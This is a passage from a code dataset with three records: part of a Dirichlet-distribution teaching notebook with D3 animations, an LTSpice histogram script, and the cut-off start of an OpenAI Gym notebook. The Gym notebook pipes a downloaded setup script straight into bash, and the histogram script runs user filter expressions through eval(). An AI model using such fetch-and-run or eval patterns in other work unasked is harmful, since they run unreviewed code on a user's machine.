.style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n            .transition(\"text\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n        \\n        \\n        \\n        svg16.append(\"text\")\\n            .attr(\"class\",\"hungry\")\\n            .attr(\"x\", width/2)\\n            .attr(\"y\", (height-margin))\\n            .style(\"font-size\",\"50px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"\ud83e\udd14\")\\n        \\n        function addPeople(cx,cy,e,s,c) {\\n            var xc = d3.scaleLinear().domain([0,d3.range(e).length]).range([Math.PI, 3*Math.PI])\\n            s.selectAll(\"text.feed_\"+c)\\n                // Collect\\n                .data(d3.range(e))\\n                // Update\\n                .join(\"text\")\\n                .attr(\"class\",\"feed_\"+c)\\n                .attr(\"x\", cx)\\n                .attr(\"y\", cy)  \\n                .style(\"font-size\",\"30px\")\\n                .style(\"text-anchor\", \"middle\")\\n                .style(\"alignment-baseline\",\"middle\")\\n                .text(d=>\"\ud83d\ude03\")\\n                .transition(\"text2\")\\n                .duration(1000)\\n                .delay((d,i)=> i * 100)\\n                .attr(\"x\", (d,i)=> ((40) * Math.cos(xc(i))) + cx)\\n                .attr(\"y\", (d,i)=> ((40) * Math.sin(xc(i))) + cy)\\n        \\n            \\n        }\\n        var cx = ((radius) * Math.cos(x(0))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(0))) + (height-margin)\\n        addPeople(cx,cy,1,svg16,0)\\n        var cx = ((radius) * Math.cos(x(1))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(1))) + (height-margin)\\n        addPeople(cx,cy,1,svg16,1)\\n        var cx = ((radius) * Math.cos(x(2))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(2))) + (height-margin)\\n        addPeople(cx,cy,1,svg16,2)\\n        var cx = ((radius) * Math.cos(x(3))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(3))) + (height-margin)\\n        addPeople(cx,cy,1,svg16,3)\\n\\n    }\\n    long5()\\n</script>')\n\n\n# In[ ]:\n\n\n\n\n\n# ## The Conclusions\n# \n# ### \u27281st Conclusion\u2728\n# \n# So, let's take a look at all three of these scenario results.\n\n# In[20]:\n\n\nget_ipython().run_cell_magic('html', '', '<input type=\"button\" value=\"\u27281st Conclusion\u2728\" style=\"font-size:20px\" onclick=\"conclusion1()\">\\n<div id=\"conc\"></div>\\n\\n<script type=\"text/javascript\">   \\n    var svg17, x, y\\n    function conclusion1() {\\n        var equation = [\"+\",\"+\",\"+\",\"+\",\"= 1\"]\\n        d3.range(3).forEach((d,row)=>{\\n            svg17.selectAll(\"text.equ_\"+row)\\n                // Collect\\n                .data(equation)\\n                // Update\\n                .join(\"text\")\\n                .attr(\"class\",\"equ_\"+row)\\n                .attr(\"x\", 0)\\n                .attr(\"y\", y(row))  \\n                .style(\"font-size\",\"20px\")\\n                .style(\"text-anchor\", \"middle\")\\n                .style(\"alignment-baseline\",\"middle\")\\n                .text(d=>d) \\n                .transition(\"text2\")\\n                .duration(1000)\\n                .delay((d,i)=> (5-i) * 100)\\n                .attr(\"x\", (d,i)=> (i==4) ? (x(i+1)) : (x(i)+x(i+1))/2)\\n            \\n        })\\n\\n\\n    }\\n    function conc() {\\n        var width = 600\\n        var height = 400\\n        var margin = 65\\n        var radius = 200\\n        \\n        d3.select(\"div#conc\").select(\"svg\").remove()\\n        svg17 = d3.select(\"div#conc\").append(\"svg\")\\n            .attr(\"width\", width)\\n            .attr(\"height\", height)\\n\\n        x = d3.scaleLinear().range([margin,width-margin]).domain([0,6])\\n        y = d3.scaleLinear().range([margin,height-margin]).domain([0,2])\\n        \\n        fractions = [\"1\",\"0\",\"0\",\"0\",\"0\"]\\n        svg17.selectAll(\"circle.row1\")\\n            .data(fractions)\\n            .join(\"circle\")\\n            .attr(\"class\",\"row1\")\\n            .attr(\"cx\", (d,i)=> x(i))\\n            .attr(\"cy\", y(0))  \\n            .attr(\"r\", 20)\\n            .style(\"fill\", \"white\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n            \\n        svg17.selectAll(\"text.perc1\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"class\",\"perc1\")\\n            .attr(\"x\", (d,i)=> x(i))\\n            .attr(\"y\", y(0))  \\n            .style(\"font-size\",\"20px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n\\n        \\n        fractions = [\"1/5\",\"1/5\",\"1/5\",\"1/5\",\"1/5\"]\\n        svg17.selectAll(\"circle.row2\")\\n            .data(fractions)\\n            .join(\"circle\")\\n            .attr(\"class\",\"row2\")\\n            .attr(\"cx\", (d,i)=> x(i))\\n            .attr(\"cy\", y(1))  \\n            .attr(\"r\", 20)\\n            .style(\"fill\", \"white\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n\\n        svg17.selectAll(\"text.perc2\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"class\",\"perc2\")\\n            .attr(\"x\", (d,i)=> x(i))\\n            .attr(\"y\", y(1))  \\n            .style(\"font-size\",\"20px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n\\n        \\n        fractions = [\"0\",\"0\",\"0\",\"0\",\"1\"]\\n        svg17.selectAll(\"circle.row3\")\\n            .data(fractions)\\n            .join(\"circle\")\\n            .attr(\"class\",\"row3\")\\n            .attr(\"cx\", (d,i)=> x(i))\\n            .attr(\"cy\", y(2))  \\n            .attr(\"r\", 20)\\n            .style(\"fill\", \"white\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n\\n        svg17.selectAll(\"text.perc3\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"class\",\"perc3\")\\n            .attr(\"x\", (d,i)=> x(i))\\n            .attr(\"y\", y(2))  \\n            .style(\"font-size\",\"20px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n\\n        \\n        svg17.append(\"text\")\\n            .attr(\"class\",\"title1\")\\n            .attr(\"x\", 20)\\n            .attr(\"y\", y(0)-45)  \\n            .style(\"font-size\",\"20px\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"The Social Butterfly\")     \\n        \\n        svg17.append(\"text\")\\n            .attr(\"class\",\"title1\")\\n            .attr(\"x\", 20)\\n            .attr(\"y\", y(1)-45)  \\n            .style(\"font-size\",\"20px\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"The Gambler\") \\n\\n        svg17.append(\"text\")\\n            .attr(\"class\",\"title1\")\\n            .attr(\"x\", 20)\\n            .attr(\"y\", y(2)-45)  \\n            .style(\"font-size\",\"20px\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"The Long Day\") \\n        \\n        function addPeople(cx,cy,e,s,c) {\\n            var xc = d3.scaleLinear().domain([0,d3.range(e).length]).range([Math.PI, 3*Math.PI])\\n            s.selectAll(\"text.feed_\"+c)\\n                // Collect\\n                .data(d3.range(e))\\n                // Update\\n                .join(\"text\")\\n                .attr(\"class\",\"feed_\"+c)\\n                .attr(\"x\", (d,i)=> ((20) * Math.cos(xc(i))) + cx)\\n                .attr(\"y\", (d,i)=> ((20) * Math.sin(xc(i))) + cy)\\n                .style(\"text-anchor\", \"middle\")\\n                .style(\"alignment-baseline\",\"middle\")\\n                .text(d=>\"\ud83d\ude03\")\\n\\n        \\n            \\n        }\\n        var cx = x(0)\\n        var cy = y(0)\\n        addPeople(cx,cy,4,svg17,0)\\n        \\n        d3.range(4).forEach((d,i) => {\\n            var cx = x(i)\\n            var cy = y(1)\\n            addPeople(cx,cy,1,svg17,i+1)\\n            \\n        })\\n\\n        var cx = x(4)\\n        var cy = y(2)\\n        addPeople(cx,cy,4,svg17,6)\\n\\n\\n    }\\n    conc()\\n</script>')\n\n\n# Our \u27281st Conclusion\u2728 is that for each scenerio, the total probablities (when added together), equal 1. This is our first connection the *Dirichlet Distribution*. \n\n# ```{admonition} Dirichlet Distribution Always Sum to 1\n# :class: tip\n# Regardless of the number of tables (\u26aa), the number of people at the tables (\ud83d\ude03), or a hungry persons' (\ud83e\udd14) strategy. The total probability will be 1. This is also consider to be a *probability mass function* or PMF property. \n# ```\n\n# ### \u27282nd Conclusion\u2728\n# \n# This easiest to see with our \"The Gambler\" scenerio. \n\n# In[21]:\n\n\nget_ipython().run_cell_magic('html', '', '<input type=\"button\" value=\"\u27282nd Conclusion\u2728\" style=\"font-size:20px\" onclick=\"conclusion2()\">\\n<div id=\"conc2\"></div>\\n\\n<script type=\"text/javascript\">   \\n    var svg18, x, y\\n    var width = 600\\n    var height = 400\\n    var margin = 65\\n    var radius = 200\\n    function conclusion2() {\\n        conc2()\\n        svg18.selectAll(\"circle#face_4\")\\n            .transition(\"move1\")\\n            .duration(1000)\\n            .attr(\"cx\", (d,i)=> x(5))\\n        \\n        svg18.selectAll(\"text#face_4\")\\n            .transition(\"move2\")\\n            .duration(1000)\\n            .attr(\"x\", (d,i)=> x(5))\\n        \\n        svg18.selectAll(\"text#feed_5\")\\n            .transition(\"move2b\")\\n            .duration(1000)\\n            .attr(\"x\", (d,i)=> x(5)-20)\\n        \\n        svg18.append(\"line\")\\n            .attr(\"id\",\"join\")\\n            .attr(\"x1\", (x(3) + x(0))/2)\\n            .attr(\"y1\", (y(1)+y(0))/2)\\n            .attr(\"x2\", (x(3) + x(0))/2)\\n            .attr(\"y2\", (y(1)+y(0))/2)\\n            .style(\"stroke\", \"purple\")\\n            .style(\"stroke-width\", \"3px\")\\n            .transition(\"move3\")\\n            .duration(1000)\\n            .attr(\"x1\", x(0) - 10)\\n            .attr(\"x2\", x(3) + 10)\\n        \\n        svg18.append(\"line\")\\n            .attr(\"id\",\"join\")\\n            .attr(\"x1\", (x(6) + x(4))/2)\\n            .attr(\"y1\", (y(1)+y(0))/2)\\n            .attr(\"x2\", (x(6) + x(4))/2)\\n            .attr(\"y2\", (y(1)+y(0))/2)\\n            .style(\"stroke\", \"steelblue\")\\n            .style(\"stroke-width\", \"3px\")\\n            .transition(\"move4\")\\n            .duration(1000)\\n            .attr(\"x1\", x(4) - 10)\\n            .attr(\"x2\", x(6) + 10)\\n        \\n        svg18.append(\"text\")\\n            .attr(\"id\",\"join\")\\n            .attr(\"x\", (d,i)=> - 10)\\n            .attr(\"y\", y(1))  \\n            .style(\"font-size\",\"20px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"To Join\")\\n            .transition(\"move5\")\\n            .duration(1000)\\n            .attr(\"x\", (x(3) + x(0))/2) \\n        \\n        svg18.append(\"text\")\\n            .attr(\"id\",\"join\")\\n            .attr(\"x\", (d,i)=> width + 10)\\n            .attr(\"y\", y(1))  \\n            .style(\"font-size\",\"20px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"Or Not To Join\")\\n            .transition(\"move6\")\\n            .duration(1000)\\n            .attr(\"x\", (x(6) + x(4))/2) \\n        \\n        svg18.append(\"text\")\\n            .attr(\"id\",\"join\")\\n            .attr(\"x\", (d,i)=> ((x(4) - 10)+(x(3) + 10))/2)\\n            .attr(\"y\", -10)  \\n            .style(\"font-size\",\"20px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"+\")\\n            .transition(\"move6\")\\n            .duration(1000)\\n            .attr(\"y\", (y(1)+y(0))/2)\\n        \\n        \\n        function createEquation1(cx,cy,top) {\\n            svg18.append(\"text\")\\n                .attr(\"x\", cx)\\n                .attr(\"y\", height+10)  \\n                .style(\"font-size\",\"20px\")\\n                .style(\"text-anchor\", \"middle\")\\n                .style(\"alignment-baseline\",\"middle\")\\n                .text(top)\\n                .transition(\"move6\")\\n                .duration(1000)\\n                .attr(\"y\", y(2)-15)\\n            \\n            svg18.append(\"line\")\\n                .attr(\"x1\", cx)\\n                .attr(\"y1\", 0)  \\n                .attr(\"x2\", cx)\\n                .attr(\"y2\", 0)\\n                .style(\"stroke\", (top == \"\ud83e\udd14\") ? \"steelblue\" : \"purple\")\\n                .style(\"stroke-width\", \"3px\")\\n                .transition(\"move7\")\\n                .duration(1000)\\n                .attr(\"y1\", cy)\\n                .attr(\"y2\", cy)\\n                .transition(\"move8\")\\n                .duration(1000)\\n                .attr(\"x1\", cx-20)\\n                .attr(\"x2\", cx+20)\\n            \\n            svg18.append(\"text\")\\n                .attr(\"x\", cx)\\n                .attr(\"y\", height+10)  \\n                .style(\"font-size\",\"10px\")\\n                .style(\"text-anchor\", \"middle\")\\n                .style(\"alignment-baseline\",\"middle\")\\n                .text(\"\ud83d\ude03\ud83d\ude03\ud83d\ude03\ud83d\ude03\ud83e\udd14\")\\n                .transition(\"move8\")\\n                .duration(1000)\\n                .attr(\"y\", y(2)+15)\\n            \\n        }\\n        function createEquation2(cx,top) {\\n            svg18.append(\"text\")\\n                .attr(\"x\", cx)\\n                .attr(\"y\", height+10)  \\n                .style(\"font-size\",(top==\"= 1\") ? \"30px\" : \"20px\")\\n                .style(\"text-anchor\", \"middle\")\\n                .style(\"alignment-baseline\",\"middle\")\\n                .text(top)\\n                .transition(\"move6\")\\n                .duration(1000)\\n                .attr(\"y\", y(2))\\n\\n        }\\n        createEquation1(x(0),y(2),\"\ud83d\ude03\")\\n        createEquation2((x(0)+x(1))/2,\"+\")\\n        \\n        createEquation1(x(1),y(2),\"\ud83d\ude03\")\\n        createEquation2((x(1)+x(2))/2,\"+\")        \\n        \\n        createEquation1(x(2),y(2),\"\ud83d\ude03\")\\n        createEquation2((x(2)+x(3))/2,\"+\")\\n        \\n        createEquation1(x(3),y(2),\"\ud83d\ude03\")\\n        createEquation2((x(3)+x(4))/2,\"+\")\\n        \\n        createEquation1(x(5),y(2),\"\ud83e\udd14\")\\n        createEquation2((x(6)),\"= 1\")\\n    }\\n    function conc2() {\\n        \\n        d3.select(\"div#conc2\").select(\"svg\").remove()\\n        svg18 = d3.select(\"div#conc2\").append(\"svg\")\\n            .attr(\"width\", width)\\n            .attr(\"height\", height)\\n\\n        x = d3.scaleLinear().range([margin,width-margin]).domain([0,6])\\n        y = d3.scaleLinear().range([margin,height-margin]).domain([0,2])\\n        \\n\\n        \\n        fractions = [\"1/5\",\"1/5\",\"1/5\",\"1/5\",\"1/5\"]\\n        svg18.selectAll(\"circle.row2\")\\n            .data(fractions)\\n            .join(\"circle\")\\n            .attr(\"id\",(d,i)=> \"face_\"+i)\\n            .attr(\"class\",\"row2\")\\n            .attr(\"cx\", (d,i)=> x(i))\\n            .attr(\"cy\", y(0))  \\n            .attr(\"r\", 20)\\n            .style(\"fill\", \"white\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n\\n        svg18.selectAll(\"text.perc2\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"id\",(d,i)=> \"face_\"+i)\\n            .attr(\"class\",\"perc2\")\\n            .attr(\"x\", (d,i)=> x(i))\\n            .attr(\"y\", y(0))  \\n            .style(\"font-size\",\"20px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n        \\n        svg18.append(\"text\")\\n            .attr(\"class\",\"title1\")\\n            .attr(\"x\", 20)\\n            .attr(\"y\", y(0)-45)  \\n            .style(\"font-size\",\"20px\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"The Gambler - \ud83e\udd14\") \\n        \\n\\n\\n\\n        \\n        function addPeople(cx,cy,e,s,c) {\\n            var xc = d3.scaleLinear().domain([0,d3.range(e).length]).range([Math.PI, 3*Math.PI])\\n            s.selectAll(\"text.feed_\"+c)\\n                // Collect\\n                .data(d3.range(e))\\n                // Update\\n                .join(\"text\")\\n                .attr(\"class\",\"feed_\"+c)\\n                .attr(\"id\",\"feed_\"+c)\\n                .attr(\"x\", (d,i)=> ((20) * Math.cos(xc(i))) + cx)\\n                .attr(\"y\", (d,i)=> ((20) * Math.sin(xc(i))) + cy)\\n                .style(\"text-anchor\", \"middle\")\\n                .style(\"alignment-baseline\",\"middle\")\\n                .text(d=>(c==5)?\"\ud83e\udd14\":\"\ud83d\ude03\")\\n\\n        \\n            \\n        }\\n\\n        \\n        d3.range(5).forEach((d,i) => {\\n            var cx = x(i)\\n            var cy = y(0)\\n            addPeople(cx,cy,1,svg18,i+1)\\n            \\n        })\\n\\n\\n\\n    }\\n    conc2()\\n</script>')\n\n\n# ```{admonition} When All Possibility Are Equally Likely\n# :class: tip\n# In situations where are all possibility are equally likely (equally likely to sit at a table with someone else (\u26aa&\ud83d\ude03) or sit at a new table (\u26aa)), we can abbreviate this to a simple probablity:\n# \n# $\\frac{\ud83d\ude03}{\ud83d\ude03\ud83d\ude03\ud83d\ude03\ud83d\ude03}$ $=$ $\\frac{Number of people sitting at table(\u26aa&\ud83d\ude03)}{All people (\ud83d\ude03\ud83d\ude03\ud83d\ude03\ud83d\ude03)}$ $= $ $\\frac{Nj}{N}$\n# ```\n\n# In[22]:\n\n\nfrom scipy.stats import dirichlet\nimport numpy as np\n\n\n# In[23]:\n\n\nalpha = np.array([0.01, 0.01, 0.01, 0.01, 0.01])\nnp.around(dirichlet.rvs(alpha, size=5), decimals=1)\n\n\n# In[24]:\n\n\nalpha = np.array([0.1, 0.1, 0.1, 0.1, 0.1])\nnp.around(dirichlet.rvs(alpha, size=5), decimals=1)\n\n\n# In[25]:\n\n\nalpha = np.array([1, 1, 1, 1, 1])\nnp.around(dirichlet.rvs(alpha, size=5), decimals=1)\n\n\n# In[26]:\n\n\nalpha = np.array([5, 5, 5, 5, 5])\nnp.around(dirichlet.rvs(alpha, size=5), decimals=1)\n\n\n# In[27]:\n\n\nalpha = np.array([20, 20, 20, 20, 20])\nnp.around(dirichlet.rvs(alpha, size=5), decimals=1)\n\n\n# In[28]:\n\n\nalpha = np.array([100, 100, 100, 100, 100])\nnp.around(dirichlet.rvs(alpha, size=5), decimals=1)\n\n\n# In[29]:\n\n\nalpha = np.array([0.01, .1, 1, 10, 10])\n\nnp.around(dirichlet.mean(alpha), decimals=3)\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "b27050ea010658548da412cae429eac1171d5a41", "size": 84802, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/.~Dirichlet Distribution.py", "max_stars_repo_name": "dudaspm/LDA_Bias_Data", "max_stars_repo_head_hexsha": "ffbabb5765a878bf49bac68baaa083342243a616", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "_build/jupyter_execute/.~Dirichlet Distribution.py", "max_issues_repo_name": "dudaspm/LDA_Bias_Data", "max_issues_repo_head_hexsha": "ffbabb5765a878bf49bac68baaa083342243a616", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/.~Dirichlet Distribution.py", "max_forks_repo_name": "dudaspm/LDA_Bias_Data", "max_forks_repo_head_hexsha": "ffbabb5765a878bf49bac68baaa083342243a616", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 261.7345679012, "max_line_length": 7889, "alphanum_fraction": 0.4521001863, "include": true, "reason": "import numpy,from scipy", "num_tokens": 26570, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43782349911420193, "lm_q2_score": 0.12421300024700382, "lm_q1q2_score": 0.054383370403616446}}
{"text": "# -------------------------------------------------------------------------------\r\n# Name:        Histogram.py\r\n# Purpose:     Make an histogram plot based on the results of LTSpice.py\r\n#\r\n# Author:      Nuno Brum (nuno.brum@gmail.com)\r\n#\r\n# Created:     17-01-2017\r\n# Licence:     Free\r\n# -------------------------------------------------------------------------------\r\n\r\n__author__ = \"Nuno Canto Brum <me@nunobrum.com>\"\r\n__copyright__ = \"Copyright 2017, Fribourg Switzerland\"\r\n\r\n#!/usr/bin/env python\r\nimport numpy as np\r\nimport matplotlib.mlab as mlab\r\nimport matplotlib.pyplot as plt\r\nfrom optparse import OptionParser\r\n\r\nusage = \"usage: %prog [options] LOG_FILE TRACE\"\r\nopts = OptionParser(usage=usage, version=\"%prog 0.1\")\r\n#opts.add_option('v', \"var\", action=\"store\", type=\"string\", dest=\"trace\", help=\"The trace to be used in the histogram\")\r\nopts.add_option('-s',\"--sigma\", action =\"store\", type=\"int\", dest=\"sigma\", default=3, help=\"Sigma to be used in the distribution fit. Default=3\")\r\nopts.add_option('-n', \"--nbins\", action=\"store\",  type=\"int\", dest=\"nbins\", default=20, help=\"Number of bins to be used in the histogram. Default=20\")\r\nopts.add_option('-c', \"--condition\", action=\"append\", type=\"string\", dest=\"filters\",\r\n                help=\"Filter condition writen in python. More than one expression can be added but each expression should be preceded by -f.\\n\" +\r\n                     \"EXAMPLE: -c V(N001)>4 -c parameter==1 -c  I(V1)<0.5\" )\r\nopts.add_option('-f', \"--format\", action=\"store\", type=\"string\", dest=\"format\", help=\"Format string for the X axis. Example: -f %3.4f\")\r\n#opts.add_option('-p', \"--scaling\",action=\"store\", type=\"string\", dest=\"prescaling\", help=\"Prescaling function to be applied to the input value.\")\r\nopts.add_option('-t', \"--title\", action=\"store\", type=\"string\", dest=\"title\", help=\"Title to appear on the top of the histogram.\")\r\nopts.add_option('-r', \"--range\", action=\"store\", type=\"string\", dest=\"range\", help=\"Range of the X axis to use for the histogram in the form min:max. Example: -r -1:1\")\r\nopts.add_option('-C', \"--clipboard\", action=\"store_true\", dest=\"clipboard\", help=\"If the data from the clipboard is to be used.\")\r\n#opts.add_option('-x', \"--xname\", action=\"store\", dest=\"xname\", help=\"Name for the variable displayed\")\r\nopts.add_option('-i', \"--image\", action=\"store\", type=\"string\", dest=\"imagefile\", help=\"Name of the image File. extension 'png'\")\r\n\r\n(options, args) = opts.parse_args()\r\n\r\nvalues = []\r\n\r\n\r\nif options.clipboard:\r\n    try:\r\n        import clipboard\r\n    except ImportError:\r\n        print(\"Failed to load clipboard package. Use PiP to install it.\")\r\n        exit(1)\r\n    if len(args) > 0:\r\n        TRACE = args[-1]\r\n    else:\r\n        TRACE = \"var\"\r\n    text = clipboard.paste()\r\n    for line in text.split('\\n'):\r\n        try:\r\n            values.append(float(line))\r\n        except ValueError:\r\n            print(\"Failed to process \")\r\n            print(line)\r\nelif len(args)==0:\r\n    opts.print_help()\r\n    exit(-1)\r\nelse:\r\n    if len(args) < 2:\r\n        opts.error(\"Wrong number of parameters.\")\r\n        opts.print_help()\r\n        exit(-1)\r\n    # if (len(args)==1): # This will search for the most recent file\r\n    #     newer_date = 0\r\n    #     filename = None\r\n    #     for f in os.listdir():\r\n    #         date = os.path.getmtime(f)\r\n    #         if date > newer_date and f.endswith(\".tlog\"):\r\n    #             newer_date = date\r\n    #             filename = f\r\n    #     if filename == None:\r\n    #         opts.error(\"A LOG_FILE should be given\")\r\n    TRACE = args[1]\r\n    logfile = args[0]\r\n\r\n    if not options.filters is None:\r\n        print(\"Filters Applied:\", options.filters)\r\n    else:\r\n        print(\"No filters defined\")\r\n\r\n    log = open(logfile,'r')\r\n    header = log.readline().rstrip('\\n')\r\n    vars = header.split('\\t')\r\n    try:\r\n        sav_col = vars.index(TRACE)\r\n    except ValueError:\r\n        log.close()\r\n        print(\"File '%s' doesn't have trace '%s'\" % (logfile, TRACE))\r\n        print(\"LOG FILE contains %s\" % vars)\r\n        exit(-1)\r\n\r\n\r\n    if (options.filters is None) or (len(options.filters) == 0):\r\n        for line in log:\r\n            #print(line)\r\n            vs = line.split('\\t')\r\n            values.append(float(vs[sav_col]))\r\n    else:\r\n        for line in log:\r\n            vs = map(float,line.split('\\t'))\r\n            env = dict(zip(vars,vs))\r\n\r\n            for expression in options.filters:\r\n                test = eval(expression, None, env)\r\n                if test == False:\r\n                    break\r\n            else:\r\n                values.append(float(env[TRACE]))\r\n\r\n    log.close()\r\n\r\nif len(values) == 0:\r\n    print(\"No elements found\")\r\nelif len(values) < options.nbins:\r\n    print(\"Not enough elements for an histogram\")\r\nelse:\r\n    x = np.array(values, dtype=float)\r\n    mu = x.mean()\r\n    mn = x.min()\r\n    mx = x.max()\r\n    sd = np.std(x)\r\n    sigmin = mu - options.sigma*sd\r\n    sigmax = mu + options.sigma*sd\r\n\r\n    if options.range is None:\r\n        # Automatic calculation of the range\r\n        axisXmin = mu - (options.sigma+1)*sd\r\n        axisXmax = mu + (options.sigma + 1) * sd\r\n\r\n        if mn < axisXmin:\r\n            axisXmin = mn\r\n\r\n        if mx > axisXmax:\r\n            axisXmax = mx\r\n    else:\r\n        try:\r\n            smin, smax = options.range.split(\":\")\r\n            axisXmin = float(smin)\r\n            axisXmax = float(smax)\r\n        except:\r\n            opts.error(\"Invalid range setting\")\r\n            exit(-1)\r\n    if options.format:\r\n        fmt = options.format\r\n    else:\r\n        fmt = \"%f\"\r\n\r\n    print(\"Collected %d elements\" % len(values))\r\n    print(\"Distributing in %d bins\" % options.nbins)\r\n    print(\"Minimum is \" + fmt % mn)\r\n    print(\"Maximum is \" + fmt % mx)\r\n    print(\"Mean is \" + fmt % mu)\r\n    print(\"Standard Deviation is \" + fmt % sd)\r\n    print((\"Sigma %d boundaries are \" + fmt + \" and \" + fmt) % (options.sigma, sigmin, sigmax))\r\n    n, bins, patches = plt.hist(x, options.nbins, normed=True, facecolor='green', alpha=0.75, range=(axisXmin, axisXmax))\r\n    axisYmax = n.max() * 1.1\r\n\r\n    # add a 'best fit' line\r\n    y = mlab.normpdf( bins, mu, sd)\r\n    l = plt.plot(bins, y, 'r--', linewidth=1)\r\n    plt.axvspan(mu - options.sigma*sd, mu + options.sigma*sd, alpha=0.2, color=\"cyan\")\r\n    plt.xlabel(TRACE)\r\n    plt.ylabel('Distribution [Normalised]')\r\n\r\n    if options.title is None:\r\n        title = (r'$\\mathrm{Histogram\\ of\\ %s:}\\ \\mu='+fmt+r',\\ stdev='+fmt+r',\\ \\sigma=%d$') % (TRACE, mu, sd, options.sigma)\r\n    else:\r\n        title = options.title\r\n    plt.title(title)\r\n\r\n    plt.axis([axisXmin, axisXmax, 0, axisYmax ])\r\n    plt.grid(True)\r\n    if options.imagefile is not None:\r\n        plt.savefig(options.imagefile)\r\n    else:\r\n        plt.show()", "meta": {"hexsha": "54c864428f38d4fa2b916e9ffdf43dcee1795f92", "size": 6767, "ext": "py", "lang": "Python", "max_stars_repo_path": "Histogram.py", "max_stars_repo_name": "nikolarobottesla/PyLTSpice", "max_stars_repo_head_hexsha": "c3f3538e5eff50609138958764c1809cd006e3a7", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Histogram.py", "max_issues_repo_name": "nikolarobottesla/PyLTSpice", "max_issues_repo_head_hexsha": "c3f3538e5eff50609138958764c1809cd006e3a7", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Histogram.py", "max_forks_repo_name": "nikolarobottesla/PyLTSpice", "max_forks_repo_head_hexsha": "c3f3538e5eff50609138958764c1809cd006e3a7", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.8044692737, "max_line_length": 169, "alphanum_fraction": 0.5616964682, "include": true, "reason": "import numpy", "num_tokens": 1725, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.468790611783139, "lm_q2_score": 0.11596072589184252, "lm_q1q2_score": 0.05436129963365374}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport sys, os\nif 'google.colab' in sys.modules and not os.path.exists('.setup_complete'):\n    get_ipython().system('wget -q https://raw.githubusercontent.com/yandexdataschool/Practical_RL/master/setup_colab.sh -O- | bash')\n\n    get_ipython().system('touch .setup_complete')\n\n# This code creates a virtual display to draw game images on.\n# It will have no effect if your machine has a monitor.\nif type(os.environ.get(\"DISPLAY\")) is not str or len(os.environ.get(\"DISPLAY\")) == 0:\n    get_ipython().system('bash ../xvfb start')\n    os.environ['DISPLAY'] = ':1'\n\n\n# In[2]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# ### OpenAI Gym\n# \n# We're gonna spend several next weeks learning algorithms that solve decision processes. We are then in need of some interesting decision problems to test our algorithms.\n# \n# That's where OpenAI Gym comes into play. It's a Python library that wraps many classical decision problems including robot control, videogames and board games.\n# \n# So here's how it works:\n\n# In[3]:\n\n\nimport gym\n\nenv = gym.make(\"MountainCar-v0\")\nenv.reset()\n\nplt.imshow(env.render('rgb_array'))\nprint(\"Observation space:\", env.observation_space)\nprint(\"Action space:\", env.action_space)\n\n\n# Note: if you're running this on your local 